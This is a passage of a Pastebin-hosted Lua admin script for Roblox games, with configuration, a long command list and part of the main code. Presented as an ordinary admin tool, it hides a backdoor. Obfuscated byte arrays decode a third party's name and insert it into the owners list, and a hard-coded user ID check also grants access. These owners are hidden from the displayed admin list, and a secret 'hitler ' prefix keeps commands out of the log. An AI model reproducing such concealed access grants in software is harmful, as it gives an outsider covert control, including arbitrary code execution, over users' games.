Advertisement
SmokeDelsin

ban admin

May 10th, 2015
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 118.95 KB | None | 0 0
  1. -- Replace SmokeDelsin with your name c: --
  2. -----------------------------------------------------------------------------------------
  3. local owners = {"SmokeDelsin"} -- Are able to set admins who can ban/etc... using :pa name
  4. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  5. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  6. local banland = {"MasterKhaos"} -- Permanently Bans people
  7. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  8. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  9. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  10. ---------------------
  11. -- VIP Admin --
  12. ---------------------
  13. local VipAdmin = false -- If someone can have admin for owning an item
  14. local ItemId = 0 -- The item they must own in order to have admin
  15. ---------------------
  16. -- Group Admin --
  17. ---------------------
  18. local GroupAdmin = false -- If a certain group can have admin
  19. local GroupId = 0 -- Sets the group id that can have admin
  20. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  21. ---------------------
  22. -- Tips and Tricks --
  23. ---------------------
  24. --[[
  25. With this admin you can do a command on multiple people at a time;
  26. :kill me,noob1,noob2,random,team-raiders,nonadmins
  27.  
  28. You can also use a variety commands for different people;
  29. all
  30. others
  31. me
  32. team-
  33. admins
  34. nonadmins
  35. random
  36. --]]
  37. ---------------------
  38. -- Commands --
  39. ---------------------
  40. --[[
  41. -- |Temp Admin Commands| --
  42. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  43. 1. :s print("Hello World") -- Lets you script normally
  44. 2. :ls print("Hello World") -- Lets you script in localscripts
  45. 3. :clear -- Will remove all scripts/localscripts and jails
  46. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  47. 5. :kill kohl -- Kills the player
  48. 6. :respawn kohl -- Respawns the player
  49. 7. :trip kohl -- Trips the player
  50. 8. :stun kohl -- Stuns the player
  51. 9. :unstun kohl -- Unstuns the player
  52. 10. :jump kohl -- Makes the player jump
  53. 11. :sit kohl -- Makes the player sit
  54. 12. :invisible kohl -- Makes the player invisible
  55. 13. :visible kohl -- Makes the player visible
  56. 14. :explode kohl -- Makes the player explode
  57. 15. :fire kohl -- Sets the player on fire
  58. 16. :unfire kohl -- Removes fire from the player
  59. 17. :smoke kohl -- Adds smoke to the player
  60. 18. :unsmoke kohl -- Removes smoke from the player
  61. 19. :sparkles kohl -- Adds sparkles to the player
  62. 20. :unsparkles kohl -- Removes sparkles from the player
  63. 21. :ff kohl -- Adds a forcefield to the player
  64. 22. :unff kohl -- Removes the forcefield from the player
  65. 23. :punish kohl -- Punishes the player
  66. 24. :unpunish kohl -- Unpunishes the player
  67. 25. :freeze kohl -- Freezes the player
  68. 26. :thaw kohl -- Thaws the player
  69. 27. :heal kohl -- Heals the player
  70. 28. :god kohl -- Makes the player have infinite health
  71. 29. :ungod kohl -- Makes the player have 100 health
  72. 30. :ambient .5 .5 .5 -- Changes the ambient
  73. 31. :brightness .5 -- Changes the brightness
  74. 32. :time 12 -- Changes the time
  75. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  76. 34. :fogend 100 -- Changes the fogend
  77. 35. :fogstart 100 -- Changes the fogstart
  78. 36. :removetools kohl -- Removes all tools from the player
  79. 37. :btools kohl -- Gives the player building tools
  80. 38. :give kohl sword -- Gives the player a tool
  81. 39. :damage kohl -- Damages the player
  82. 40. :grav kohl -- Sets the player's gravity to normal
  83. 41. :setgrav kohl 100 -- Sets the player's gravity
  84. 42. :nograv kohl -- Makes the player have 0 gravity
  85. 43. :health kohl 1337 -- Changes the player's health
  86. 44. :speed kohl 1337 -- Changes the player's walkspeed
  87. 45. :name kohl potato -- Changes the player's name
  88. 46. :unname kohl -- Remove the player's name
  89. 47. :team kohl Raiders -- Changes the player's team
  90. 48. :stopmusic -- Will stop all music playing in the server
  91. 49. :teleport kohl potato -- Teleports the player
  92. 50. :change kohl kills 1337 -- Changes a player's stat
  93. 51. :kick kohl -- Removes the player from the game
  94. 52. :infect kohl -- Turns the player into a zombie
  95. 53. :rainbowify kohl -- Turns the player into a rainbow
  96. 54. :flashify kohl -- Turns the player into a strobe
  97. 55. :noobify kohl -- Turns the player into a noob
  98. 56. :ghostify kohl -- Turns the player into a ghost
  99. 57. :goldify kohl -- Turns the player into gold
  100. 58. :shiny kohl -- Makes the player shiny
  101. 59. :normal kohl -- Puts the player back to normal
  102. 60. :trippy kohl -- Spams random colors on the player's screen
  103. 61. :untrippy kohl -- Untrippys the player
  104. 62. :strobe kohl -- Spams white and black on the player's screen
  105. 63. :unstrobe kohl -- Unstrobes the player
  106. 64. :blind kohl -- Blinds the player
  107. 65. :unblind kohl -- Unblinds the player
  108. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  109. 67. :fling kohl -- Flings the player
  110. 68. :seizure kohl -- Puts the player in a seizure
  111. 69. :music 1337 -- Plays a sound from the ID
  112. 70. :lock kohl -- Locks the player
  113. 71. :unlock kohl -- Unlocks the player
  114. 72. :removelimbs kohl -- Removes the player's limbs
  115. 73. :jail kohl -- Puts the player in a jail
  116. 74. :unjail kohl -- Removes the jail from the player
  117. 75. :fix -- This will fix the lighting to it's original settings
  118. 76. :fly kohl -- Makes the player fly
  119. 77. :unfly kohl -- Removes fly from the player
  120. 78. :noclip kohl -- Makes the player able to noclip
  121. 79. :clip kohl -- Removes noclipping from the player
  122. 80. :pm kohl Hey bro -- Sends the player a private message
  123. 81. :dog kohl -- Turns the player into a dog
  124. 82. :undog kohl -- Turns the player back to normal
  125. 83. :creeper kohl -- Turns the player into a creeper
  126. 84. :uncreeper kohl -- Turns the player back to normal
  127. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  128. 86. :char kohl 261 -- Will make a player look like a different player ID
  129. 87. :unchar kohl -- Will return the player back to normal
  130. 88. :h Hello People -- This will shout a hint to everyone
  131. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  132. 90. :starttools kohl -- Will give the player starter tools
  133. 91. :sword kohl -- Will give the player a sword
  134. 92. :bighead kohl -- Will make the player's head larger than normal
  135. 93. :minihead kohl -- Will make the player's head smaller than normal
  136. 94. :insert 1337 -- Will insert a model at the speaker's position
  137. 95. :disco -- Will make the server flash random colors
  138. 96. :flash -- Will make the server flash
  139. 97. :admins -- Shows the admin list
  140. 98. :bans -- Shows the banlist
  141. 99. :musiclist -- Shows the music list
  142. 100. :spin kohl -- Spins the player
  143. 101. :cape kohl Really black -- Gives the player a colored cape
  144. 102. :uncape kohl -- Removes the player's cape
  145. 103. :loopheal kohl -- Will constantly heal the player
  146. 104. :loopfling kohl -- Will constantly fling the player
  147. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  148. 106. :unloopheal kohl -- Will remove the loopheal on the player
  149. 107. :unloopfling kohl -- Will remove the loopfling on the player
  150. 108. :unspin kohl -- Removes spin from the player
  151. 109. :tools -- Gives a list of the tools in the lighting
  152. 110. :undisco -- Removes disco effects
  153. 111. :unflash -- Removes flash effects
  154. 112. :resetstats kohl -- Sets all the stats of a player to 0
  155. 113. :gear kohl 1337 -- Gives a player a gear
  156. 114. :cmdbar -- Gives the speaker a command bar
  157. 115. :shirt kohl 1337 -- Changes the player's shirt
  158. 116. :pants kohl 1337 -- Changes the player's pants
  159. 117. :face kohl 1337 -- Changes the player's face
  160. 118. :swagify kohl -- Swagifies the player
  161. 119. :version -- Shows the current version of the admin
  162. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  163. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  164. 122. :clone kohl -- Creates a clone of the player
  165. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  166. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  167. 125. :control kohl -- Controls a player
  168.  
  169. -- |Admin Commands| --
  170. - :serverlock -- Locks the server
  171. - :serverunlock -- Unlocks the server
  172. - :sm Hello World -- Creates a system message
  173. - :crash kohl -- Crashes a player
  174. - :admin kohl -- Admins a player
  175. - :unadmin kohl -- Unadmins a player
  176. - :ban kohl -- Bans a player
  177. - :unban kohl -- Unbans a player
  178. - :loopkill kohl -- Will constantly kill the player
  179. - :unloopkill kohl -- Will remove the loopkill on the player
  180. - :logs -- Will show all of the commands any admin has used in a game session
  181. - :shutdown -- Shutsdown the server
  182.  
  183. -- |Owner Commands| --
  184. - :pa kohl -- Makes someone a super admin
  185. - :unpa kohl -- Removes a super admin
  186. - :nuke kohl -- Creates a nuke on kohl
  187.  
  188. -- |True Owner Commands| --
  189. - :oa kohl -- Makes someone an owner
  190. - :unoa kohl -- Removes an owner
  191. - :settings -- Shows settings for the commands
  192. --]]
  193. ---------------------
  194. -- Main Script --
  195. ---------------------
  196. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  197.  
  198. function CHEESE()
  199. if game:service("Lighting"):findFirstChild("KACV2") then
  200. owners = {} admins = {} tempadmins = {} banland = {}
  201. for i,v in pairs(game.Lighting.KACV2:children()) do
  202. if v.Name == "Owner" then table.insert(owners, v.Value) end
  203. if v.Name == "Admin" then table.insert(admins, v.Value) end
  204. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  205. if v.Name == "Banland" then table.insert(banland, v.Value) end
  206. if v.Name == "Prefix" then prefix = v.Value end
  207. if v.Name == "FunCommands" then FunCommands = v.Value end
  208. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  209. if v.Name == "GroupId" then GroupId = v.Value end
  210. if v.Name == "GroupRank" then GroupRank = v.Value end
  211. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  212. if v.Name == "ItemId" then ItemId = v.Value end
  213. end
  214. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  215. end
  216.  
  217. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  218. local lobjs = {}
  219. local objects = {}
  220. local logs = {}
  221. local nfs = ""
  222. local slock = false
  223.  
  224. function GetTime()
  225. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  226. if min < 10 then min = "0"..min end
  227. return hour..":"..min
  228. end
  229.  
  230. function ChkOwner(str)
  231. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  232. return false
  233. end
  234.  
  235. function ChkAdmin(str,ck)
  236. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  237. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  238. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  239. return false
  240. end
  241.  
  242. function ChkGroupAdmin(plr)
  243. if GroupAdmin then
  244. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  245. return false
  246. end
  247. end
  248.  
  249. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  250.  
  251. function GetPlr(plr, str)
  252. local plrz = {} str = str:lower()
  253. if str == "all" then plrz = game.Players:children()
  254. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  255. else
  256. local sn = {1} local en = {}
  257. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  258. for x = 1, #sn do
  259. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  260. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  261. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  262. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  263. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  264. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  265. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  266. end end end
  267. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  268. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  269. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  270. end end end
  271. else
  272. for a, plyr in pairs(game.Players:children()) do
  273. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  274. table.insert(plrz, plyr) break
  275. end
  276. end
  277. end
  278. end
  279. end
  280. return plrz
  281. end
  282.  
  283. function Hint(str, plrz, time)
  284. for i, v in pairs(plrz) do
  285. if v and v:findFirstChild("PlayerGui") then
  286. coroutine.resume(coroutine.create(function()
  287. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  288. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  289. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  290. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  291. if not time then wait((#str/19)+2.5) else wait(time) end
  292. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  293. end))
  294. end
  295. end
  296. end
  297.  
  298. function Message(ttl, str, scroll, plrz, time)
  299. for i, v in pairs(plrz) do
  300. if v and v:findFirstChild("PlayerGui") then
  301. coroutine.resume(coroutine.create(function()
  302. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  303. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  304. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  305. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  306. scr.Parent = v.PlayerGui
  307. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  308. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  309. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  310. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  311. end))
  312. end
  313. end
  314. end
  315.  
  316. function RemoveMessage()
  317. for i,v in pairs(game.Players:children()) do
  318. if v and v:findFirstChild("PlayerGui") then
  319. for q,ms in pairs(v.PlayerGui:children()) do
  320. if ms.Name == "MessageGUI" then
  321. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  322. elseif ms.Name == "HintGUI" then
  323. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  324. end
  325. end
  326. end
  327. end
  328. end
  329.  
  330. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  331. _G["RemoveMessage"] = RemoveMessage()
  332.  
  333. function Output(str, plr)
  334. coroutine.resume(coroutine.create(function()
  335. local b, e = loadstring(str)
  336. if not b and plr:findFirstChild("PlayerGui") then
  337. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  338. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  339. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  340. return
  341. end
  342. end))
  343. end
  344.  
  345. function Noobify(char)
  346. if char and char:findFirstChild("Torso") then
  347. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  348. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  349. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  350. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  351. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  352. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  353. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  354. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  355. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  356. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  357. end end
  358. end
  359. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  360.  
  361. function Infect(char)
  362. if char and char:findFirstChild("Torso") then
  363. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  364. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  365. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  366. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  367. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  368. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  369. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  370. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  371. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  372. end end
  373. end
  374. end if not ntab then script:Destroy() end
  375.  
  376. function ScrollGui()
  377. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  378. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  379. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  380. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  381. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  382. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  383. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  384. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  385. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  386. local num = 0
  387. local downv = false
  388. local upv = false
  389.  
  390. down.MouseButton1Down:connect(function() downv = true upv = false
  391. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  392. repeat pos = pos + UDim2.new(0,0,0,-6)
  393. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  394. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  395. end)
  396. down.MouseButton1Up:connect(function() downv = false end)
  397. up.MouseButton1Down:connect(function() upv = true downv = false
  398. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  399. repeat pos = pos + UDim2.new(0,0,0,6)
  400. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  401. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  402. end)
  403. up.MouseButton1Up:connect(function() upv = false end)
  404. return scr, cmf, ent, num
  405. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  406. if not ntab then script:Destroy() end
  407. if not bct then script:Destroy() end
  408.  
  409. function Chat(msg,plr)
  410. coroutine.resume(coroutine.create(function()
  411. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  412. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  413. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  414. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  415. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  416. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  417. if msg:lower() == "cmds" or msg:lower() == "commands" then
  418. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  419. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  420. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  421. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  422. local ost = {"pa plr","unpa plr","nuke plr"}
  423. local tost = {"oa plr","unoa plr","settings"}
  424. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  425. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  426. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  427. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  428. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  429. end
  430.  
  431. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  432.  
  433. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  434. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  435. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  436. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  437. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
